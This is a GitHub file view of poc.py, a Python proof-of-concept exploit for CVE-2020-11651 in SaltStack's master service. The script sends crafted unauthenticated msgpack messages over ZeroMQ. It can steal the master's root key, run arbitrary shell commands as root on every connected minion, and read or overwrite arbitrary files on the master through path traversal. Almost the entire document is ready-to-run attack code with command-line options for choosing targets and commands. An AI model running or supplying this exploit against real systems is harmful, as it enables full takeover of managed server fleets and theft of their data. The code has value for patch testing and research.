-
Notifications
You must be signed in to change notification settings - Fork 0
/
poc.py
220 lines (175 loc) · 6.32 KB
/
poc.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
import os
import sys
import argparse
from datetime import datetime
try:
import zmq
except ImportError:
print("[!] Error importing zmq. Try 'python3 -m pip install pyzmq'")
sys.exit()
try:
import msgpack
except ImportError:
print("[!] Error importing msgpack. Try 'python3 -m pip install msgpack'")
sys.exit()
def get_root_key(connection_string):
print("[+] Connecting to {0}".format(connection_string))
context = zmq.Context()
socket = context.socket(zmq.REQ)
socket.connect(connection_string)
print("[+] Trying to read root key")
msg = msgpack.packb({"enc": "clear", "load":{'cmd': '_prep_auth_info'}}, use_bin_type=True)
print(" [-] Sending Paylod")
socket.send(msg)
print(" [-] Reading Reponse")
response = socket.recv()
print(" [-] Parsing Reponse for key")
decoded_response = msgpack.unpackb(response)
try:
root_key = decoded_response[2]['root']
print(" [+] Root key found: '{0}'".format(root_key))
except:
print(" [!] Root key not found!")
socket.close()
print("[+] Closing Socket")
return root_key
def run_on_minion(connection_string, cmd_string):
print("[+] Connecting to {0}".format(connection_string))
context = zmq.Context()
socket = context.socket(zmq.REQ)
socket.connect(connection_string)
print("[+] Trying to send command to minions")
now = datetime.now()
jid = '{0:%Y%m%d%H%M%S%f}'.format(now)
msg_payload = {
"enc": "clear",
"load": {
"arg": [
cmd_string
],
"cmd": "_send_pub",
"fun": "cmd.run",
"jid": jid,
"kwargs": {
"show_jid": False,
"show_timeout": True
},
"ret": "",
"tgt": "*",
"tgt_type": "glob",
"user": "root"
}
}
msg = msgpack.packb(msg_payload, use_bin_type=True)
print(" [-] Sending Payload")
socket.send(msg)
print(" [-] Reading Reponse")
response = socket.recv()
decoded_response = msgpack.unpackb(response)
if not decoded_response:
print(" [-] There is no output to this command; however no errors detected")
socket.close()
print("[+] Closing Socket")
def read_on_master(connection_string, file_path):
print("[+] Get the root key first")
root_key = get_root_key(connection_string)
print("[+] Now try to read your file from the master")
print("[+] Connecting to {0}".format(connection_string))
context = zmq.Context()
socket = context.socket(zmq.REQ)
socket.connect(connection_string)
print("[+] Trying to send command to Master")
payload = {
"enc": "clear",
"load":{
'key': root_key,
'cmd': 'wheel',
'fun':'file_roots.read',
'path': os.path.join('..', '..', '..', '..', file_path),
'saltenv':'base'
}
}
msg = msgpack.packb(payload, use_bin_type=True)
print(" [-] Sending Paylod")
socket.send(msg)
print(" [-] Reading Reponse")
response = socket.recv()
print(" [-] Parsing Reponse")
decoded_response = msgpack.unpackb(response)
try:
file_data = decoded_response['data']['return'][0][file_path]
print(file_data)
except:
print(decoded_response)
socket.close()
print("[+] Closing Socket")
def write_on_master(connection_string, file_path, input_file):
print("[+] Get the root key first")
root_key = get_root_key(connection_string)
print("[+] Now try to write your file on the master")
print("[+] Connecting to {0}".format(connection_string))
context = zmq.Context()
socket = context.socket(zmq.REQ)
socket.connect(connection_string)
print("[+] Trying to send command to Master")
payload = {
"enc": "clear",
"load":{
'key': root_key,
'cmd': 'wheel',
'fun':'file_roots.write',
'data': open(input_file, 'rb').read(),
'path': '../../../../../..{0}'.format(file_path),
'saltenv':'base'
}
}
msg = msgpack.packb(payload, use_bin_type=True)
print(" [-] Sending Paylod")
socket.send(msg)
print(" [-] Reading Reponse")
response = socket.recv()
print(" [-] Parsing Reponse")
decoded_response = msgpack.unpackb(response)
try:
file_data = decoded_response['data']['return']['success']
print(file_data)
except:
print(decoded_response)
socket.close()
print("[+] Closing Socket")
if __name__ == "__main__":
parser = argparse.ArgumentParser(
description='Exploit CVE-2020-11651',
epilog='Example: poc.py -k 127.0.0.1 (Read the root key)'
)
parser.add_argument('server', nargs='+', help='Target Server IP or Host')
parser.add_argument('-p', '--port', help='Target Port (Default=4506)', type=int, default=4506)
parser.add_argument('-c', '--cmd', help="Command to execute")
parser.add_argument('-k', '--key', action="store_true", help="Retrieve Root Key")
parser.add_argument('-m', '--minions', action="store_true", help="Run CMD on all active minions")
parser.add_argument('-r', '--read', help="Read a file from the Salt Master")
parser.add_argument('-w', '--write', help="Write a file from the Salt Master")
parser.add_argument('-f', '--file', help="Used with --write, local file to write to Salt Master")
args = parser.parse_args()
if not args.server:
print("[!] You need to specify the target server")
sys.exit()
connection_string = "tcp://{0}:{1}".format(args.server[0], args.port)
if args.key:
get_root_key(connection_string)
sys.exit()
if args.minions:
if not args.cmd:
print("[!] You need to provide a command to execute on all minions")
else:
run_on_minion(connection_string, args.cmd)
sys.exit()
if args.read:
read_on_master(connection_string, args.read)
sys.exit()
if args.write:
if not args.file:
print("[!] You need to provide a local file to write to the Salt Master")
else:
write_on_master(connection_string, args.write, args.file)
sys.exit()